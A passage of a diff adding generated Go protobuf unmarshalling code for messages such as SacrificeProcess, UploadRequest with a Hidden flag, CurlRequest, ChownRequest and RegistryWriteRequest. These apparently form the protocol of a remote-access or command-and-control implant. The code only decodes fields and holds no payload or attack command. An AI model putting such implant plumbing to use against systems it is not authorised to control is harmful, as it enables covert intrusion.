{ + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Sacrifice == nil { + m.Sacrifice = &SacrificeProcess{} + } + if err := m.Sacrifice.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *UploadRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: UploadRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: UploadRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Target", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Target = stringValue + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Priv", wireType) + } + m.Priv = 0 + m.Priv, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Hidden", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Hidden = bool(v != 0) + case 6: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Override", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Override = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *DownloadRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: DownloadRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: DownloadRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field BufferSize", wireType) + } + m.BufferSize = 0 + m.BufferSize, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Dir", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Dir = bool(v != 0) + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Cur", wireType) + } + m.Cur = 0 + m.Cur, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *DownloadResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: DownloadResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: DownloadResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Checksum", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Checksum = stringValue + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Size", wireType) + } + m.Size = 0 + m.Size, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Cur", wireType) + } + m.Cur = 0 + m.Cur, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Content", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Content = dAtA[iNdEx:postIndex] + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *CurlRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: CurlRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: CurlRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Url", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Url = stringValue + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Timeout", wireType) + } + m.Timeout = 0 + m.Timeout, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Method", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Method = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Body", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Body = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Header", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Header == nil { + m.Header = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapkey == 0 { + mapkey = "" + } else { + mapkey = unsafe.String(&dAtA[iNdEx], intStringLenmapkey) + } + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapvalue == 0 { + mapvalue = "" + } else { + mapvalue = unsafe.String(&dAtA[iNdEx], intStringLenmapvalue) + } + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Header[mapkey] = mapvalue + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hostname", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Hostname = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ChownRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ChownRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ChownRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Uid", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Uid = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Gid", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Gid = stringValue + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Recursive", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Recursive = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *IfconfigResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: IfconfigResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: IfconfigResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field NetInterfaces", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.NetInterfaces = append(m.NetInterfaces, &NetInterface{}) + if err := m.NetInterfaces[len(m.NetInterfaces)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *RegistryRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: RegistryRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: RegistryRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Registry", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Registry == nil { + m.Registry = &Registry{} + } + if err := m.Registry.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Registry) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Registry: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Registry: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hive", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Hive = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Key", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Key = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *RegistryWriteRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: RegistryWriteRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: RegistryWriteRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hive", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Hive = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Key", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Key = stringValue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field StringValue", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.StringValue = stringValue + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ByteValue", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if 